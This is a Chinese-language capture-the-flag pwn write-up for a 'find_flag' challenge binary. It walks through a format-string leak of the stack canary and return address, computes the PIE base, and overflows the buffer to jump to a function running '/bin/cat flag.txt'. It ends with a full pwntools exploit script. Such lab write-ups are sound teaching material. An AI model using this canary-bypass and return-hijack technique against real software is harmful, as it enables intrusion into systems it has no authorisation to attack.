查看保护,发现保护全开:

打开 ida 从 main 进入 sub_132F 函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
unsigned __int64 sub_132F()
{
char format[32]; // [rsp+0h] [rbp-60h] BYREF
_BYTE v2[56]; // [rsp+20h] [rbp-40h] BYREF
unsigned __int64 v3; // [rsp+58h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Hi! What's your name? ");
gets(format);
printf("Nice to meet you, ");
strcat(format, "!\n");
printf(format);
printf("Anything else? ");
gets(v2);
return __readfsqword(0x28u) ^ v3;
}
|
可以有两次利用机会。其中第一次主要是格式化字符串利用,来泄漏地址。
分析 shift+f12 查看字符串发现有 /bin/cat flag.txt 交叉引用溯源到 sub_1229:

看来最终关键是要运行该 system 函数。
首先这道题开了 canary,需要泄漏 canary 值。只需要找到 printf 偏移量加上 canary 与变量的偏移利用格式化字符串泄漏就可以拿到
最终得到 printf 偏移量为 6,两者相差 88 字节,得到最终 paylaod 为:%17$p。
以及因为 PIE 保护,还需要泄漏已知的代码地址。我们选取 canary 后面的 return 地址。通过 pwndbg 查看栈地址可以得到:

rbp 之后的地址就是 sub_132F 的返回地址,也就是:

往下加 2 个偏移量也就是 : %19$p。
因为 64 位栈对齐的要求,选取lea rdi, command 地址: 0x1231 为返回地址,最后得到:
1
2
3
4
5
6
7
8
9
10
11
12
|
payload = b"%17$p*%19$p"
io.sendline(payload)
io.recvuntil(b"0x")
canary = int(io.recvuntil(b"00"), 16)
io.recvuntil(b"*")
ret_addr = int(io.recv(14), 16)
base_addr = ret_addr - 0x146f
flag_addr = base_addr + 0x1231
print(f"canary address = {hex(canary)}\nreturn address = {hex(ret_addr)}\nbase address = {hex(base_addr)}")
print(f"flag address = {hex(flag_addr)}")
|
运行结果如下:
1
2
3
4
|
canary address = 0xfdd90d3d3c802700
return address = 0x5589675b946f
base address = 0x5589675b8000
flag address = 0x5589675b9231
|
最后需要进行栈溢出劫持返回地址:
1
2
|
payload = b"a" * (0x40-0x8) + p64(canary) + b"a" * 8 + p64(flag_addr)
io.sendline(payload)
|
得到最后 exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
from pwn import *
context(arch="amd64", os="linux", log_level="info")
context.gdb_binary = "/bin/pwndbg"
io = process("./find_flag")
#io = remote(b"node4.anna.nssctf.cn", 25152)
# offset = 6
payload = b"%17$p*%19$p"
io.sendline(payload)
io.recvuntil(b"0x")
canary = int(io.recvuntil(b"00"), 16)
io.recvuntil(b"*")
ret_addr = int(io.recv(14), 16)
base_addr = ret_addr - 0x146f
flag_addr = base_addr + 0x1231
print(f"canary address = {hex(canary)}\nreturn address = {hex(ret_addr)}\nbase address = {hex(base_addr)}")
print(f"flag address = {hex(flag_addr)}")
payload = b"a" * (0x40-0x8) + p64(canary) + b"a" * 8 + p64(flag_addr)
io.sendline(payload)
io.interactive()
|